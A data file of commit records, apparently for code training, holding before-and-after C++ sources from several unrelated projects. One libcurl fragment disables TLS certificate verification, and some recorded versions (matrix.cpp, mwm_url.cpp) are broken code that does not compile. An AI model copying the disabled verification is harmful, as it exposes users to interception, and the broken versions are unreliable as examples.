\"PATCH\");\n\t\tcurl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_body);\n\t\tcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write<stringstream>);\n\t\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDS, request_body.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, request_body.size());\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\t\/\/ perform http request\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\t\/\/ clean resources\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\t\/\/ check response code\n\t\tif ( response_code != CURLE_OK ) return json();\n\n\t\t\/\/ handle body of http response\n\t\tauto info = json::parse(response_body);\n\t\treturn info;\n\t}\n}\n\nclass curl_environment {\npublic:\n    curl_environment() {\n        curl_global_init(CURL_GLOBAL_ALL);\n    }\n    ~curl_environment() {\n        curl_global_cleanup();\n    }\n};\n\nstatic const curl_environment env;\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"matrix.hpp\"\n\nMatrix::Matrix(int length) {\n\trow = length;\n\tcol = length;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tmas[i][j] = 0;\n\t\t}\n\t}\n}\n\nMatrix::Matrix(int r, int c) {\n\trow = r;\n\tcol = c;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t}\n}\n\nMatrix::~Matrix() {\n\tfor (int i = 0; i < row; i++) {\n\t\tdelete[] mas[i];\n\t}\n\n\tdelete[] mas;\n}\n\nMatrix::Matrix(const Matrix&a) {\n\trow = a.row;\n\tcol = a.col;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tmas[i][j] = a.mas[i][j];\n\t\t}\n\t}\n}\n\nvoid Matrix::fill( const char*file) {\n\tifstream fin1(file);\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tfin1 >> mas[i][j];\n\t\t}\n\t}\n}\n\nvoid Matrix::show() const {\n\t\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tcout << mas[i][j] << \" \";\n\t\t}\n\t\tcout << endl;\n\t}\n\tcout << endl;\n}\n\nMatrix Matrix::operator+(const Matrix& a) const {\n\n\tMatrix help(row, col);\n\n\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\thelp.mas[i][j] = mas[i][j] + a.mas[i][j];\n\t\t}\n\t}\n\treturn help;\n}\n\nMatrix Matrix::operator*(const Matrix& a) const {\n\n\tMatrix help(row, col);\n\n\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\thelp.mas[i][j] = 0;\n\t\t\tfor (int k = 0; k < col; k++) {\n\t\t\t\thelp.mas[i][j] += mas[i][k] * a.mas[k][j];\n\t\t\t}\n\t\t}\n\t}\n\treturn help;\n}\n\nint Matrix::rows() {\n\treturn row;\n}\n\nint Matrix::columns() {\n\treturn col;\n}\n\n\tint operator[](int x, int y) const {\n\t\treturn mas[x][y];\n\t}\n\n<commit_msg>Update matrix.cpp<commit_after>#include \"matrix.hpp\"\n\nMatrix::Matrix(int length) {\n\trow = length;\n\tcol = length;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tmas[i][j] = 0;\n\t\t}\n\t}\n}\n\nMatrix::Matrix(int r, int c) {\n\trow = r;\n\tcol = c;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t}\n}\n\nMatrix::~Matrix() {\n\tfor (int i = 0; i < row; i++) {\n\t\tdelete[] mas[i];\n\t}\n\n\tdelete[] mas;\n}\n\nMatrix::Matrix(const Matrix&a) {\n\trow = a.row;\n\tcol = a.col;\n\n\tmas = new int*[row];\n\tfor (int i = 0; i < row; i++) {\n\t\tmas[i] = new int[col];\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tmas[i][j] = a.mas[i][j];\n\t\t}\n\t}\n}\n\nvoid Matrix::fill( const char*file) {\n\tifstream fin1(file);\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tfin1 >> mas[i][j];\n\t\t}\n\t}\n}\n\nvoid Matrix::show() const {\n\t\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\tcout << mas[i][j] << \" \";\n\t\t}\n\t\tcout << endl;\n\t}\n\tcout << endl;\n}\n\nMatrix Matrix::operator+(const Matrix& a) const {\n\n\tMatrix help(row, col);\n\n\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\thelp.mas[i][j] = mas[i][j] + a.mas[i][j];\n\t\t}\n\t}\n\treturn help;\n}\n\nMatrix Matrix::operator*(const Matrix& a) const {\n\n\tMatrix help(row, col);\n\n\n\tfor (int i = 0; i < row; i++) {\n\t\tfor (int j = 0; j < col; j++) {\n\t\t\thelp.mas[i][j] = 0;\n\t\t\tfor (int k = 0; k < col; k++) {\n\t\t\t\thelp.mas[i][j] += mas[i][k] * a.mas[k][j];\n\t\t\t}\n\t\t}\n\t}\n\treturn help;\n}\n\nint Matrix::rows() {\n\treturn row;\n}\n\nint Matrix::columns() {\n\treturn col;\n}\n\nint Element(int i, int j)\n        {\n            if (i<row && j<col)\n                return mas[i][j];\n            else\n                cout << \"Error: 1\";\n        }\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"Settings.h\"\n\n#include <Shlwapi.h>\n\n#include \"HotkeyActions.h\"\n#include \"Logger.h\"\n#include \"StringUtils.h\"\n\nstd::wstring Settings::_appDir(L\"\");\n\nSettings::Settings(std::wstring file) :\n_file(file) {\n    CLOG(L\"Loading settings file [%s]\", file.c_str());\n\n    std::string u8FileName = StringUtils::Narrow(file);\n    tinyxml2::XMLError result = _xml.LoadFile(u8FileName.c_str());\n    if (result != tinyxml2::XMLError::XML_SUCCESS) {\n        throw std::runtime_error(\"Failed to parse XML file\");\n    }\n\n    _root = _xml.GetDocument()->FirstChildElement(\"settings\");\n    if (_root == NULL) {\n        throw std::runtime_error(\"Could not find root XML element\");\n    }\n}\n\nstd::wstring Settings::AppDir() {\n    if (_appDir.empty()) {\n        wchar_t path[MAX_PATH];\n        GetModuleFileName(NULL, path, MAX_PATH);\n        PathRemoveFileSpec(path);\n        _appDir = std::wstring(path);\n    }\n    return _appDir;\n}\n\nstd::wstring Settings::SkinName() {\n    const char* skinName = _root->FirstChildElement(\"skin\")->GetText();\n    if (skinName == NULL) {\n        return L\"Default\";\n    } else {\n        return StringUtils::Widen(skinName);\n    }\n}\n\nstd::unordered_map<int, int> Settings::Hotkeys() {\n    std::unordered_map<int, int> keyMappings;\n\n    tinyxml2::XMLElement *hotkeys = _root->FirstChildElement(\"hotkeys\");\n    tinyxml2::XMLElement *hotkey = hotkeys->FirstChildElement(\"hotkey\");\n\n    for (; hotkey != NULL; hotkey = hotkey->NextSiblingElement()) {\n        int action = -1;\n        hotkey->QueryIntAttribute(\"action\", &action);\n        if (action == -1) {\n            CLOG(L\"No action provided for hotkey; skipping\");\n            continue;\n        }\n\n        int combination = -1;\n        hotkey->QueryIntAttribute(\"combination\", &combination);\n        if (combination == -1) {\n            CLOG(L\"No key combination provided for hotkey; skipping\");\n            continue;\n        }\n        \n        \/* Whew, we made it! *\/\n        CLOG(L\"Adding hotkey mapping: %d -> %d\", combination, action);\n        keyMappings[combination] = action;\n    }\n\n    return keyMappings;\n}\n\nbool Settings::IsEnabled(std::string elementName) {\n    bool val = false;\n    _root->FirstChildElement(elementName.c_str())->QueryBoolText(&val);\n    return val;\n}\n\nstd::wstring Settings::GetText(std::string elementName) {\n    const char* str = _root->FirstChildElement(elementName.c_str())->GetText();\n    if (str == NULL) {\n        return NULL;\n    } else {\n        return StringUtils::Widen(str);\n    }\n}<commit_msg>Fix invalid pointer bug<commit_after>#include \"Settings.h\"\n\n#include <Shlwapi.h>\n\n#include \"HotkeyActions.h\"\n#include \"Logger.h\"\n#include \"StringUtils.h\"\n\nstd::wstring Settings::_appDir(L\"\");\n\nSettings::Settings(std::wstring file) :\n_file(file) {\n    CLOG(L\"Loading settings file [%s]\", file.c_str());\n\n    std::string u8FileName = StringUtils::Narrow(file);\n    tinyxml2::XMLError result = _xml.LoadFile(u8FileName.c_str());\n    if (result != tinyxml2::XMLError::XML_SUCCESS) {\n        throw std::runtime_error(\"Failed to parse XML file\");\n    }\n\n    _root = _xml.GetDocument()->FirstChildElement(\"settings\");\n    if (_root == NULL) {\n        throw std::runtime_error(\"Could not find root XML element\");\n    }\n}\n\nstd::wstring Settings::AppDir() {\n    if (_appDir.empty()) {\n        wchar_t path[MAX_PATH];\n        GetModuleFileName(NULL, path, MAX_PATH);\n        PathRemoveFileSpec(path);\n        _appDir = std::wstring(path);\n    }\n    return _appDir;\n}\n\nstd::wstring Settings::SkinName() {\n    const char* skinName = _root->FirstChildElement(\"skin\")->GetText();\n    if (skinName == NULL) {\n        return L\"Default\";\n    } else {\n        return StringUtils::Widen(skinName);\n    }\n}\n\nstd::unordered_map<int, int> Settings::Hotkeys() {\n    std::unordered_map<int, int> keyMappings;\n\n    tinyxml2::XMLElement *hotkeys = _root->FirstChildElement(\"hotkeys\");\n    tinyxml2::XMLElement *hotkey = hotkeys->FirstChildElement(\"hotkey\");\n\n    for (; hotkey != NULL; hotkey = hotkey->NextSiblingElement()) {\n        int action = -1;\n        hotkey->QueryIntAttribute(\"action\", &action);\n        if (action == -1) {\n            CLOG(L\"No action provided for hotkey; skipping\");\n            continue;\n        }\n\n        int combination = -1;\n        hotkey->QueryIntAttribute(\"combination\", &combination);\n        if (combination == -1) {\n            CLOG(L\"No key combination provided for hotkey; skipping\");\n            continue;\n        }\n        \n        \/* Whew, we made it! *\/\n        CLOG(L\"Adding hotkey mapping: %d -> %d\", combination, action);\n        keyMappings[combination] = action;\n    }\n\n    return keyMappings;\n}\n\nbool Settings::IsEnabled(std::string elementName) {\n    bool val = false;\n    _root->FirstChildElement(elementName.c_str())->QueryBoolText(&val);\n    return val;\n}\n\nstd::wstring Settings::GetText(std::string elementName) {\n    const char* str = _root->FirstChildElement(elementName.c_str())->GetText();\n    if (str == NULL) {\n        return L\"\";\n    } else {\n        return StringUtils::Widen(str);\n    }\n}<|endoftext|>"}
{"text":"<commit_before>#include \"mwm_url.hpp\"\n\n#include \"..\/indexer\/mercator.hpp\"\n\n#include \"..\/coding\/uri.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n#include \"..\/base\/string_utils.hpp\"\n\n#include \"..\/std\/algorithm.hpp\"\n#include \"..\/std\/bind.hpp\"\n\nusing namespace url_scheme;\n\nnamespace\n{\n\nstatic int const INVALID_LAT_VALUE = -1000;\n\nbool IsInvalidApiPoint(ApiPoint const & p) { return p.m_lat == INVALID_LAT_VALUE; }\n\n}  \/\/ unnames namespace\n\nParsedMapApi::ParsedMapApi():m_id(0)\n{}\n\nParsedMapApi::ParsedMapApi(Uri const & uri):m_id(0)\n{\n  if (!Parse(uri))\n  {\n    m_points.clear();\n  }\n}\n\nbool ParsedMapApi::SetUriAndParse(string const & url)\n{\n  Clear();\n  return Parse(url_scheme::Uri(url));\n}\n\nbool ParsedMapApi::IsValid() const\n{\n  return !m_points.empty();\n}\n\nbool ParsedMapApi::Parse(Uri const & uri)\n{\n  string const & scheme = uri.GetScheme();\n  if ((scheme != \"mapswithme\" && scheme != \"mwm\") || uri.GetPath() != \"map\")\n    return false;\n\n  uri.ForEachKeyValue(bind(&ParsedMapApi::AddKeyValue, this, _1, _2));\n  m_points.erase(remove_if(m_points.begin(), m_points.end(), &IsInvalidApiPoint), m_points.end());\n\n  return true;\n}\n\nvoid ParsedMapApi::AddKeyValue(string const & key, string const & value)\n{\n  if (key == \"backurl\")\n    m_globalBackUrl = value;\n  if (key == \"v\")\n  {\n    if (!strings::to_int(value, m_id))\n      m_id = 0;\n  }\n  if (key == \"appname\")\n    m_appTitle = value;\n  if (key == \"ll\")\n  {\n    m_points.push_back(ApiPoint());\n    m_points.back().m_lat = INVALID_LAT_VALUE;\n\n    size_t const firstComma = value.find(',');\n    if (firstComma == string::npos)\n    {\n      LOG(LWARNING, (\"Map API: no comma between lat and lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (value.find(',', firstComma + 1) != string::npos)\n    {\n      LOG(LWARNING, (\"Map API: more than one comma in a value for 'll' key\", key, value));\n      return;\n    }\n\n    double lat, lon;\n    if (!strings::to_double(value.substr(0, firstComma), lat) ||\n        !strings::to_double(value.substr(firstComma + 1), lon))\n    {\n      LOG(LWARNING, (\"Map API: can't parse lat,lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (!MercatorBounds::ValidLat(lat) || !MercatorBounds::ValidLon(lon))\n    {\n      LOG(LWARNING, (\"Map API: incorrect value for lat and\/or lon\", key, value, lat, lon));\n      return;\n    }\n\n    m_points.back().m_lat = lat;\n    m_points.back().m_lon = lon;\n    m_showRect = m2::Add(m_showRect, m2::PointD(lat, lon));\n  }\n  else if (key == \"n\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_title = value;\n    else\n      LOG(LWARNING, (\"Map API: Point name with no point. 'll' should come first!\"));\n  }\n  else if (key == \"u\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_url = value;\n    else\n      LOG(LWARNING, (\"Map API: Point url with no point. 'll' should come first!\"));\n  }\n}\n\nvoid ParsedMapApi::Clear()\n{\n  m_points.clear();\n  m_globalBackUrl.clear();\n  m_appTitle.clear();\n  m_id = 0;\n  m_showRect = m2::RectD();\n}\n<commit_msg>[core] Small viewrect bag fix.<commit_after>#include \"mwm_url.hpp\"\n\n#include \"..\/indexer\/mercator.hpp\"\n\n#include \"..\/coding\/uri.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n#include \"..\/base\/string_utils.hpp\"\n\n#include \"..\/std\/algorithm.hpp\"\n#include \"..\/std\/bind.hpp\"\n\nusing namespace url_scheme;\n\nnamespace\n{\n\nstatic int const INVALID_LAT_VALUE = -1000;\n\nbool IsInvalidApiPoint(ApiPoint const & p) { return p.m_lat == INVALID_LAT_VALUE; }\n\n}  \/\/ unnames namespace\n\nParsedMapApi::ParsedMapApi():m_id(0)\n{}\n\nParsedMapApi::ParsedMapApi(Uri const & uri):m_id(0)\n{\n  if (!Parse(uri))\n  {\n    m_points.clear();\n  }\n}\n\nbool ParsedMapApi::SetUriAndParse(string const & url)\n{\n  Clear();\n  return Parse(url_scheme::Uri(url));\n}\n\nbool ParsedMapApi::IsValid() const\n{\n  return !m_points.empty();\n}\n\nbool ParsedMapApi::Parse(Uri const & uri)\n{\n  string const & scheme = uri.GetScheme();\n  if ((scheme != \"mapswithme\" && scheme != \"mwm\") || uri.GetPath() != \"map\")\n    return false;\n\n  uri.ForEachKeyValue(bind(&ParsedMapApi::AddKeyValue, this, _1, _2));\n  m_points.erase(remove_if(m_points.begin(), m_points.end(), &IsInvalidApiPoint), m_points.end());\n\n  return true;\n}\n\nvoid ParsedMapApi::AddKeyValue(string const & key, string const & value)\n{\n  if (key == \"backurl\")\n    m_globalBackUrl = value;\n  if (key == \"v\")\n  {\n    if (!strings::to_int(value, m_id))\n      m_id = 0;\n  }\n  if (key == \"appname\")\n    m_appTitle = value;\n  if (key == \"ll\")\n  {\n    m_points.push_back(ApiPoint());\n    m_points.back().m_lat = INVALID_LAT_VALUE;\n\n    size_t const firstComma = value.find(',');\n    if (firstComma == string::npos)\n    {\n      LOG(LWARNING, (\"Map API: no comma between lat and lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (value.find(',', firstComma + 1) != string::npos)\n    {\n      LOG(LWARNING, (\"Map API: more than one comma in a value for 'll' key\", key, value));\n      return;\n    }\n\n    double lat, lon;\n    if (!strings::to_double(value.substr(0, firstComma), lat) ||\n        !strings::to_double(value.substr(firstComma + 1), lon))\n    {\n      LOG(LWARNING, (\"Map API: can't parse lat,lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (!MercatorBounds::ValidLat(lat) || !MercatorBounds::ValidLon(lon))\n    {\n      LOG(LWARNING, (\"Map API: incorrect value for lat and\/or lon\", key, value, lat, lon));\n      return;\n    }\n\n    m_points.back().m_lat = lat;\n    m_points.back().m_lon = lon;\n    m_showRect = m2::Add(m_showRect, m2::PointD(lon, lat));\n  }\n  else if (key == \"n\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_title = value;\n    else\n      LOG(LWARNING, (\"Map API: Point name with no point. 'll' should come first!\"));\n  }\n  else if (key == \"u\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_url = value;\n    else\n      LOG(LWARNING, (\"Map API: Point url with no point. 'll' should come first!\"));\n  }\n}\n\nvoid ParsedMapApi::Clear()\n{\n  m_points.clear();\n  m_globalBackUrl.clear();\n  m_appTitle.clear();\n  m_id = 0;\n  m_showRect = m2::RectD();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"mwm_url.hpp\"\n\n#include \"..\/indexer\/mercator.hpp\"\n\n#include \"..\/coding\/uri.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n#include \"..\/base\/string_utils.hpp\"\n\n#include \"..\/std\/algorithm.hpp\"\n#include \"..\/std\/bind.hpp\"\n\nusing namespace url_scheme;\n\nnamespace\n{\n\nstatic int const INVALID_LAT_VALUE = -1000;\n\nbool IsInvalidApiPoint(ApiPoint const & p) { return p.m_lat == INVALID_LAT_VALUE; }\n\n}  \/\/ unnames namespace\n\nParsedMapApi::ParsedMapApi():m_id(0)\n{}\n\nParsedMapApi::ParsedMapApi(Uri const & uri):m_id(0)\n{\n  if (!Parse(uri))\n  {\n    m_points.clear();\n  }\n}\n\nbool ParsedMapApi::SetUriAndParse(string const & url)\n{\n  Clear();\n  return Parse(url_scheme::Uri(url));\n}\n\nbool ParsedMapApi::IsValid() const\n{\n  return !m_points.empty();\n}\n\nbool ParsedMapApi::Parse(Uri const & uri)\n{\n  string const & scheme = uri.GetScheme();\n  if ((scheme != \"mapswithme\" && scheme != \"mwm\") || uri.GetPath() != \"map\")\n    return false;\n\n  uri.ForEachKeyValue(bind(&ParsedMapApi::AddKeyValue, this, _1, _2));\n  m_points.erase(remove_if(m_points.begin(), m_points.end(), &IsInvalidApiPoint), m_points.end());\n\n  return true;\n}\n\nvoid ParsedMapApi::AddKeyValue(string const & key, string const & value)\n{\n  if (key == \"backurl\")\n    m_globalBackUrl = value;\n  if (key == \"v\")\n  {\n    if (!strings::to_int(value, m_id))\n      m_id = 0;\n  }\n  if (key == \"appname\")\n    m_appTitle = value;\n  strings::AsciiToLower(key);\n\n  if (key == \"ll\")\n  {\n    m_points.push_back(ApiPoint());\n    m_points.back().m_lat = INVALID_LAT_VALUE;\n\n    size_t const firstComma = value.find(',');\n    if (firstComma == string::npos)\n    {\n      LOG(LWARNING, (\"Map API: no comma between lat and lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (value.find(',', firstComma + 1) != string::npos)\n    {\n      LOG(LWARNING, (\"Map API: more than one comma in a value for 'll' key\", key, value));\n      return;\n    }\n\n    double lat, lon;\n    if (!strings::to_double(value.substr(0, firstComma), lat) ||\n        !strings::to_double(value.substr(firstComma + 1), lon))\n    {\n      LOG(LWARNING, (\"Map API: can't parse lat,lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (!MercatorBounds::ValidLat(lat) || !MercatorBounds::ValidLon(lon))\n    {\n      LOG(LWARNING, (\"Map API: incorrect value for lat and\/or lon\", key, value, lat, lon));\n      return;\n    }\n\n    m_points.back().m_lat = lat;\n    m_points.back().m_lon = lon;\n    m_showRect = m2::Add(m_showRect, m2::PointD(lon, lat));\n  }\n  else if (key == \"n\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_title = value;\n    else\n      LOG(LWARNING, (\"Map API: Point name with no point. 'll' should come first!\"));\n  }\n  else if (key == \"u\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_url = value;\n    else\n      LOG(LWARNING, (\"Map API: Point url with no point. 'll' should come first!\"));\n  }\n}\n\nvoid ParsedMapApi::Clear()\n{\n  m_points.clear();\n  m_globalBackUrl.clear();\n  m_appTitle.clear();\n  m_id = 0;\n  m_showRect = m2::RectD();\n}\n<commit_msg>[api] Fixed \"else if\"<commit_after>#include \"mwm_url.hpp\"\n\n#include \"..\/indexer\/mercator.hpp\"\n\n#include \"..\/coding\/uri.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n#include \"..\/base\/string_utils.hpp\"\n\n#include \"..\/std\/algorithm.hpp\"\n#include \"..\/std\/bind.hpp\"\n\nusing namespace url_scheme;\n\nnamespace\n{\n\nstatic int const INVALID_LAT_VALUE = -1000;\n\nbool IsInvalidApiPoint(ApiPoint const & p) { return p.m_lat == INVALID_LAT_VALUE; }\n\n}  \/\/ unnames namespace\n\nParsedMapApi::ParsedMapApi():m_id(0)\n{}\n\nParsedMapApi::ParsedMapApi(Uri const & uri):m_id(0)\n{\n  if (!Parse(uri))\n  {\n    m_points.clear();\n  }\n}\n\nbool ParsedMapApi::SetUriAndParse(string const & url)\n{\n  Clear();\n  return Parse(url_scheme::Uri(url));\n}\n\nbool ParsedMapApi::IsValid() const\n{\n  return !m_points.empty();\n}\n\nbool ParsedMapApi::Parse(Uri const & uri)\n{\n  string const & scheme = uri.GetScheme();\n  if ((scheme != \"mapswithme\" && scheme != \"mwm\") || uri.GetPath() != \"map\")\n    return false;\n\n  uri.ForEachKeyValue(bind(&ParsedMapApi::AddKeyValue, this, _1, _2));\n  m_points.erase(remove_if(m_points.begin(), m_points.end(), &IsInvalidApiPoint), m_points.end());\n\n  return true;\n}\n\nvoid ParsedMapApi::AddKeyValue(string const & key, string const & value)\n{\n  strings::AsciiToLower(key);\n\n  if (key == \"ll\")\n  {\n    m_points.push_back(ApiPoint());\n    m_points.back().m_lat = INVALID_LAT_VALUE;\n\n    size_t const firstComma = value.find(',');\n    if (firstComma == string::npos)\n    {\n      LOG(LWARNING, (\"Map API: no comma between lat and lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (value.find(',', firstComma + 1) != string::npos)\n    {\n      LOG(LWARNING, (\"Map API: more than one comma in a value for 'll' key\", key, value));\n      return;\n    }\n\n    double lat, lon;\n    if (!strings::to_double(value.substr(0, firstComma), lat) ||\n        !strings::to_double(value.substr(firstComma + 1), lon))\n    {\n      LOG(LWARNING, (\"Map API: can't parse lat,lon for 'll' key\", key, value));\n      return;\n    }\n\n    if (!MercatorBounds::ValidLat(lat) || !MercatorBounds::ValidLon(lon))\n    {\n      LOG(LWARNING, (\"Map API: incorrect value for lat and\/or lon\", key, value, lat, lon));\n      return;\n    }\n\n    m_points.back().m_lat = lat;\n    m_points.back().m_lon = lon;\n    m_showRect = m2::Add(m_showRect, m2::PointD(lon, lat));\n  }\n  else if (key == \"n\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_title = value;\n    else\n      LOG(LWARNING, (\"Map API: Point name with no point. 'll' should come first!\"));\n  }\n  else if (key == \"u\")\n  {\n    if (!m_points.empty())\n      m_points.back().m_url = value;\n    else\n      LOG(LWARNING, (\"Map API: Point url with no point. 'll' should come first!\"));\n  }\n}\n\nvoid ParsedMapApi::Clear()\n{\n  m_points.clear();\n  else if (key == \"backurl\")\n  {\n    m_globalBackUrl = value;\n  }\n  else if (key == \"v\")\n  {\n    if (!strings::to_int(value, m_version))\n      m_version = 0;\n  }\n  else if (key == \"appname\")\n  {\n    m_appTitle = value;\n  }\n  m_globalBackUrl.clear();\n  m_appTitle.clear();\n  m_id = 0;\n  m_showRect = m2::RectD();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*------------------------------------------------------------------------\n* (The MIT License)\n* \n* Copyright (c) 2008-2011 Rhomobile, Inc.\n* \n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n* \n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n* \n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n* \n* http:\/\/rhomobile.com\n*------------------------------------------------------------------------*\/\n\n#include \"SplashScreen.h\"\n#include \"RhoThread.h\"\n#include \"IRhoClassFactory.h\"\n#include \"RhoConf.h\"\n#include \"Tokenizer.h\"\n\nnamespace rho {\nnamespace common {\nIMPLEMENT_LOGCLASS(CSplashScreen,\"SplashScreen\");\n\nvoid CSplashScreen::start()\n{\n\tif (m_nDelay>0 && m_startTime.toULong() == 0)\n        m_startTime = CTimeInterval::getCurrentTime();\n}\n\nlong CSplashScreen::howLongWaitMs()\n{\n   if (m_nDelay <= 0) {\n       return m_nDelay;\n   }\n   CTimeInterval endTime = CTimeInterval::getCurrentTime();\n   long nTimeElapsed = endTime.minus(m_startTime).toULong();\n   \n   long timeToWait = m_nDelay * 1000 - nTimeElapsed;\n\n   return (timeToWait > 0) ? timeToWait : 0;\n}\n\nvoid CSplashScreen::hide()\n{\n\tif (m_nDelay<=0 || m_startTime.toULong() == 0)\n\t\treturn;\n\tlong nWaitMs = howLongWaitMs();\n    m_startTime = CTimeInterval();\n\tif ( nWaitMs <= 0 )\n\t\treturn;\n\n    CAutoPtr<IRhoThreadImpl> ptrThread = rho_get_RhoClassFactory()->createThreadImpl();\n\n    ptrThread->sleep(nWaitMs);\n}\n\nvoid CSplashScreen::init()\n{\n\tString strSplash = RHOCONF().getString(\"splash_screen\");\n\t\n\tCTokenizer stringtokenizer(strSplash, \";\");\n\twhile (stringtokenizer.hasMoreTokens()) {\n\t\tString tok = stringtokenizer.nextToken();\n\t\ttok = String_trim(tok);\n\t\tif (tok.length() == 0) {\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tif (tok.find(\"delay\") == 0)\n\t\t{\n\t\t\tint nEq = tok.find('=');\n\t\t\tif (nEq>=0)\n\t\t\t{\n\t\t\t\tString val = tok.substr(nEq+1);\n\t\t\t\tval = String_trim(val);\n\t\t\t\tif ( val.length() > 0 )\n                    convertFromStringA( val.c_str(), m_nDelay );\n\t\t\t}\n\t\t}else if (tok.find(\"zoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VZOOM | HZOOM;\n\t\t}else if ( tok.find(\"vzoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VZOOM;\n\t\t}else if ( tok.find(\"hzoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= HZOOM;\n\t\t}else if ( tok.find(\"center\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VCENTER | HCENTER;\n\t\t}else if ( tok.find(\"vcenter\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VCENTER;\n\t\t}else if ( tok.find(\"hcenter\") == 0)\n\t\t{\n\t\t\tm_nFlags |= HCENTER;\n\t\t}\n\t\t\n\t}\n}\n}\n}\n<commit_msg>Update SplashScreen.cpp<commit_after>\/*------------------------------------------------------------------------\n* (The MIT License)\n* \n* Copyright (c) 2008-2011 Rhomobile, Inc.\n* \n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n* \n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n* \n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n* \n* http:\/\/rhomobile.com\n*------------------------------------------------------------------------*\/\n\n#include \"SplashScreen.h\"\n#include \"RhoThread.h\"\n#include \"IRhoClassFactory.h\"\n#include \"RhoConf.h\"\n#include \"Tokenizer.h\"\n\nnamespace rho {\nnamespace common {\nIMPLEMENT_LOGCLASS(CSplashScreen,\"SplashScreen\");\n\nvoid 